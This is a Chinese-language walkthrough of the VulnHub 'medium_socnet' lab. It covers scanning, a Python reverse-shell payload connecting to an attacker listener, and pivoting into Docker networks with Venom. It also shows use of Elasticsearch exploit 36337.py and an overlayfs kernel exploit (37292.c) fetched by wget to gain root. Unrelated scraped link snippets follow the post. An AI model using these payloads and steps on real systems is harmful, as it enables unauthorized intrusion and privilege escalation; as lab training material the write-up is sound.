kali之vulhub,medium_socnet

2023-11-20

目录

一、部署环境

二、进行主机发现,arp-scan进行扫描

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

2.查看端口所用服务版本

3.登录ip地址看一下 

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

2.开扫

3.登录网址/admin

(1)开启侦听

(2)进行python反弹shell

(3)id查看当前登录的用户

(4)如何判断是一个docker系统呢

五、跳出docker容器系统隔离环境

1.查看容器ip

六、内网穿透

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

2.搜索Elasticsearch已知漏洞

 3.利用漏洞

(1)复制到当前文件夹下

(2)拿到容器root

 (4)对这个容器信息收集

 九、利用开放的22端口ssh服务

十、提权

1.查看内核版本

 2.查询相关漏洞

(1)复制到本地

(2)查看并编辑

 (3)在kali本机找ofs-lib.so

(4)编译37292.c文件

 (5)开启http服务

(6)下载编译好的文件

(7)全部移入tmp文件夹下

 十一、成功拿到宿主机root权限


一、部署环境

靶机下载地址:

https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

虚拟机网络连接方式采用nat模式即可,靶机和kali位于同一网段下。

二、进行主机发现,arp-scan进行扫描

sudo arp-scan -l

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

sudo nmap -p- 192.168.29.128

发现开放了两个端口22,5000

2.查看端口所用服务版本

sudo nmap -p22,5000 -sV 192.168.29.128

3.登录ip地址看一下 

没看出来啥

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

(1)sudo su  进入超级用户

(2)apt-get update 更新库

(3)apt-get install dirsearch 下载

2.开扫

dirsearch -u http://192.168.29.128

在5000扫出来一个/admin目录

3.登录网址/admin

输入网址加端口进入后台

(1)开启侦听

nc -nvlp 4444

(2)进行python反弹shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.29.129",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

(3)id查看当前登录的用户

注意:老师说这个很诡异,拿到的不是宿主机的最高权限,而是docker容器系统的权限

(4)如何判断是一个docker系统呢

查看两个文件是否存在

两条命令:ls /.dockerenv

cat /proc/1/cgroup

五、跳出docker容器系统隔离环境

1.查看容器ip

ip a与ipconfig命令相似

2.主机发现

1.简易脚本:

for i in $(seq 1 10); do ping -c 1 172.17.0.$i ; done

2.发现其他ip

六、内网穿透

1.下载venom

Releases · Dliv3/Venom · GitHubhttps://github.com/Dliv3/Venom/releases2.启动服务侦听9999端口

 3.在服务端开启http服务

先切换到venom\ v1.1.0 文件夹下,在开启http的80端口服务

python3 -m http.server 80

4.在客户端下载a文件(将venom中的agent x64 linux重命名为了a)

wget http://192.128.29.129/a

(1)下载完成

(2)给予权限

 chmod +x a

5.连接服务端

./a -rhost 192.168.29.129 -rport 9999

successfully connects 成功连接

 6.服务端查看连接,到节点去,启动一个侦听代理

show

goto 1

socks 1080

 7.使用proxychains(命令行代理神器)

使用它是为了让我们nmap等探测工具可以通过代理来扫描到内网主机

(1)修改proxychains的配置文件

将 socks4改为socks5 ,端口改为1080

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

proxychains nmap -Pn -sT 172.17.0.1

挂上端口号和-sV参数继续扫描,查看服务版本

proxychains nmap -p22,5000 -Pn -sV -sT  172.17.0.1

 通过观察我们可以发现,01这个ip和我们刚开始发现的ip,不管是版本还是服务全都一模一样

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

 可以发现此页面与之前的页面完全一样,可以推断出原ip就是宿主机ip,内网ip是指向docker容器的一个ip

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

扫到一个9200端口之后对这个端口进行服务版本扫描

发现其中存在Elasticsearch。

2.搜索Elasticsearch已知漏洞

kali本身带有一些漏洞库,利用命令搜索

searchsploit Elasticsearch

 3.利用漏洞

(1)复制到当前文件夹下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

(2)拿到容器root

python2 36337.py 172.17.0.2

 (4)对这个容器信息收集

发现有个passwords文件,查看一下 ,发现有账号和加密后的密码

解密后的值为1337hack

 九、利用开放的22端口ssh服务

ssh john@192.168.29.128

 可以成功登录,但是利用切换到root用户不成功,只是普通用户。

十、提权

利用内核版本来进行提权

1.查看内核版本

uname -a

 2.查询相关漏洞

利用这条漏洞

(1)复制到本地

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

(2)查看并编辑

由于调用了外部库文件,用gcc生成共享二进制文件so,由于gcc在容器主机没有安装,所有无法正常编译,所以要修改代码并在kali服务端编译好。

将代码调用外部库文件编译二进制文件删除掉

 (3)在kali本机找ofs-lib.so

并且拷贝到本地

locate ofs-lib.so

(4)编译37292.c文件

gcc -o exp 37292.c

 (5)开启http服务

python3 -m http.server 80

(6)下载编译好的文件

wget http://192.168.29.129/ofs-lib.so

wget http://192.168.29.129/exp

(7)全部移入tmp文件夹下

此举是为了保证可以正确执行。

mv * /tmp

给予权限

chmod +x exp

id查看一下

 十一、成功拿到宿主机root权限

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

kali之vulhub,medium_socnet 的相关文章

  • git 错误:无法处理 https

    当我尝试使用 git clone 时https xxx https xxx我收到以下错误我不处理协议 https 有人可以帮我吗 完整消息 dementrock dementrock A8Se git 克隆https git innosta
  • Linux 上的基准测试程序

    对于一项任务 我们需要使用不同的优化和参数来对我们的实现进行基准测试 有没有一种可行的方法可以在Linux命令行 我知道时间 上使用不同的参数对小程序进行基准测试 从而为我提供CSV或类似内容的时间数据 输出可能类似于 Implementa
  • 如何在 GNU/Linux 上设置 Subversion (SVN) 服务器 - Ubuntu [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我有一台运行 Ubuntu 的笔记本电脑 我想将其用作 Subversion 服务器 既让我自己在本地承诺 也让其他人远程承诺 要使其
  • Linux 上的 RTLD_LOCAL 和dynamic_cast

    我们有一个由应用程序中的一些共享库构成的插件 我们需要在应用程序运行时更新它 出于性能原因 我们在卸载旧插件之前加载并开始使用新插件 并且只有当所有线程都使用旧插件完成后 我们才卸载它 由于新插件和旧插件的库具有相同的符号 我们dlopen
  • 让 TeXstudio 在 linux mint 中工作:找不到文件“url.sty”。

    刚刚切换到 Linux Mint 以前的顽固 Windows 用户 我在尝试安装 TeXstudio 时遇到一些问题 Sudo apt get install texstudio 给了我一个正确的安装 至少 我是这么认为的 但是当我尝试构建
  • Linux中使用管道进行进程间通信

    我已经编写了在 linux 中写入数字以进行管道传输的代码 如下所示 但显示错误 任何人都可以帮助我解决这个问题 基本上该程序的问题陈述如下 一个程序将打开一个管道 向管道写入一个数字 其他程序将打开同一管道 读取数字并打印它们 关闭两个管
  • 推荐用于小型站点的 IRC 服务器 (ircd)? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 情况 我想使用 IRC 机器人作为我正在研究的其他代码的通用通信接口 服务器硬件陈旧且内存不足 但运行在相对最新的 Debian GNU
  • 码头无故停止

    我需要经验丰富的码头用户的建议 我在负载均衡器 亚马逊云 后面维护着 2 台 Linux 机器 使用 Jetty 9 0 3 有时我的 Jetty 容器会被 Thread 2 无故关闭 同时地 显示以下日志并且容器无故停止 没有错误 没有例
  • 从 Python 访问 802.11 无线管理帧

    我想从 Linux 上的 Python 嗅探 802 11 管理 探测请求 帧 这可以从 Scapy 中实现 如下所示 coding utf 8 from scapy all import def proc p if p haslayer
  • Linux“屏幕”的 Windows 等效项还是其他替代方案?

    我正在寻找一种在 Windows 环境中控制程序的方法 我希望它与 Linux 软件有点相似 screen 我搜索的原因是我需要使用标识符启动一个程序 在 Windows 上 这样我以后就能够关闭该特定程序 而无需关闭其他任何程序 即使实际
  • 用于编辑 /etc/sudoers 文件的正则表达式模式

    我想删除 etc sudoers 文件中的 uncommnet 轮组 那么我应该使用什么正则表达式模式 cat etc sudoers Allows members of the sys group to run networking so
  • 未找到 Gem 命令

    我已经在 Ubuntu 10 10 32 位上安装了 gem apt get install gem y 但当我尝试跑步时 gem install something gem 我收到未找到命令的错误 bash gem command not
  • 如何设置Java线程的CPU核心亲和力?

    我搜索了以前关于类似主题的帖子 但找不到合适的答案 因此提出这个问题 非常感谢您帮助回答 我知道在 Linux 中通过任务集命令设置进程与特定 CPU 核心的关联性 但我想设置 Java 线程与特定 cpu 核心的亲和力 以便属于同一进程的
  • 在 Docker 容器中以主机用户身份运行

    在我的团队中 我们在进行开发时使用 Docker 容器在本地运行我们的网站应用程序 假设我正在开发 Flask 应用程序app py具有依赖关系requirements txt 工作流程大致如下 I am robin and I am in
  • 无需 root 访问权限即可安装 zsh? [关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 有可能 以及如何 我确实需要在几台具有 ssh 访问权限 但没有 root 访问权限 的远程计算机上使用此功能 下载 zsh wget O zsh t
  • 如何重命名 .tar.gz 文件而不提取内容并在 UBUNTU 中创建新的 .tar.gz 文件?

    我有一个命令将创建一个新的 tar gz现有文件中的文件 sudo tar zcvf Existing tar gz New tar gz 该命令将创建一个新的New tar gz从现有的文件Existing tar gz file 谁能告
  • 用于读取文件的 Bash 脚本

    不知道为什么最后一行没有从脚本中删除 bin bash FILENAME 1 while read line do cut d f2 echo line done lt FILENAME cat file 1 test 2 test 3 t
  • 裸机交叉编译器输入

    裸机交叉编译器的输入限制是什么 比如它不编译带有指针或 malloc 的程序 或者任何需要比底层硬件更多的东西 以及如何才能找到这些限制 我还想问 我为目标 mips 构建了一个交叉编译器 我需要使用这个交叉编译器创建一个 mips 可执行
  • 为什么docker容器提示“权限被拒绝”?

    我使用以下命令来运行 docker 容器 并从主机映射目录 root database 到容器 tmp install database docker run it name oracle install v root database t
  • 在非实时操作系统/内核上执行接近实时任务的最佳方法是什么?

    在一台 GNU Linux 机器上 如果想要执行 实时 亚毫秒级时间关键 任务 您几乎总是必须经历漫长 复杂且容易出现问题的内核补丁过程 以提供足够的支持 1 http en wikipedia org wiki RTLinux Backg

随机推荐

  • IC Compiler指南——数据准备

    一 概述 ICC数据设置的文件关系框图如图 后端工具在数据设置阶段需要对两大类数据进行设置 包括从前端设计继承的综合数据 以及后端设计需要的物理数据 综合数据主要包括前端逻辑综合已经设置过的逻辑与时序库文件 设计约束文件sdc以 及综合网表
  • FileZilla尝试连接“ECONNREFUSED - 连接被服务器拒绝”失败。

    考虑是否在ubuntu下开启了FTP服务 执行以下命令开启 sudo apt get install vsftpd 不能远程登陆 mobaxterm等 unbutu 考虑是否开启了SSH 使用以下命令开启 sudo apt get inst
  • 互联网创业项目整合:提高成功率的关键方法

    互联网创业是当前非常火热的话题 但是市场竞争也异常激烈 成功率不高 今天 我来分享一些互联网创业项目整合的方法 帮助大家创造更大的机会 1 选择适合自己的领域 在选择创业项目时 一定要根据自己的专业 兴趣 经验等因素进行选择 才能更好地发挥
  • clion file and code templates

    主要用于 文件命名为 my class 时 生成的类为 MyClass c class header 和 都是被分割的对象 parse C File Header h ifndef INCLUDE GUARD define INCLUDE
  • L1-039 古风排版(C语言)(测试点2)

    题目 L1 039 古风排版 分数 20 作者 陈越 单位 浙江大学 中国的古人写文字 是从右向左竖向排版的 本题就请你编写程序 把一段文字按古风排版 输入格式 输入在第一行给出一个正整数N lt 100 是每一列的字符数 第二行给出一个长
  • Flickr30k图像标注数据集下载及使用方法

    Flickr30k数据集的下载 可在http shannon cs illinois edu DenotationGraph 中填表 获取下载地址http shannon cs illinois edu DenotationGraph da
  • 【深入理解C++】转发、完美转发、std::forward

    文章目录 1 转发 2 完美转发 3 std forward和std move的区别 4 参考资料 前置知识 万能引用 引用折叠 1 转发 include
  • SIM卡相关知识总结

    主题 SIM基本功能和原理 简介 参考 SIM卡工作原理总结 SIM卡插入检测原理 SIM卡的识卡机制 SIM卡基础技术规范 2 3 4 5G UE和网络鉴权流程的演进 作者 ybb 时间 2021年9月9日 1 初识SIM卡 SIM卡的物
  • JDBC 的简单封装,以sqlite数据库为例

    小驼峰会自动转下划线 Column 注解会覆盖其他策略 就取name名字作为字段名 Table 注解可以重新标记表名 1 主要方法就是save和list两个方法 调用实例如下 package xin tom esui db import o
  • 判断用户设备是移动端还是pc端

    判断用户设备是移动端还是pc端 解决办法 mounted if this isMobile 手机端 else pc端 this getRecordH methods 手机端和pc端 isMobile let flag navigator u
  • webpack5 学习(十二)—— webpack 和 TypeScript 进行集成

    基础配置 首先 安装 TypeScript compiler 和 loader npm install save dev typescript ts loader 安装完成 tsconfig json 设置一个基本的配置来支持 JSX 并将
  • C/C++创建和删除文件夹操作

    一 创建文件夹 1 调用Windows API函数 CreateDirectory 头文件
  • [工具

    Graphviz Graphviz 是一个开源的图形可视化工具 它使用 DOT 语言描述图形结构和属性 并将其转换为图形形式 你可以在 Markdown 中使用 Graphviz 的语法来创建有向图 无向图 流程图等 dot语言官方地址 示
  • 获取360画报图片

    在使用360画报时 有时看到喜欢的图片想保存下来 却不知道怎么保存 今天跟大家分享一下方法 1 360画报文件都在C Users Administrator AppData Roaming 360browser bkinfo这里面 但是不是
  • 前端实现导出excel表格(合并表头)

    需求 勾选行导出为excel表格 合并表头 一 安装插件 npm install save file saver xlsx 运行项目报如下警告的话 运行npm install xlsx 0 16 0 save 来降低版本号 最初我安装的版本
  • hive的3种数据存储格式

    hive有textFile SequenceFile RCFile三种文件格式 其中textfile为默认格式 建表时不指定默认为这个格式 导入数据时会直接把数据文件拷贝到hdfs上不进行处理 SequenceFile RCFile格式的表
  • 数据库列名无效原因

    1 原因可能是列名没有加中括号 2 可能是SQL语句中的列名与建表时的列名不一致 3 看看是不是
  • 出现使用选项-std=c99或-std=gnu99来编译您的代码错误或者如何让Linux内核编译驱动模块时支持C99

    最近在Linux系统下编译嵌入式代码时出现问题 问题如下图 然后发现问题出在这 use option std c99 or std gnu99 to compile your code 上面的意思是 使用选项 std c99或 std gn
  • Notepad++ 列操作

    在网上找到一篇关于socket编程的文章 想把其中的代码直接拷贝下来运行测试 但是人家网站做的不够人性化 每行的开头都有行号 直接拷贝就要一行行的删除 甚是麻烦 想到linux下的vi编辑器可以完成列操作 windows下应该也有相关软件可
  • kali之vulhub,medium_socnet

    目录 一 部署环境 二 进行主机发现 arp scan进行扫描 三 使用nmap扫描发现的靶机IP 1 全端口扫描 看服务 2 查看端口所用服务版本 3 登录ip地址看一下 四 扫目录 dirsearch脚本 和windous御剑类似 1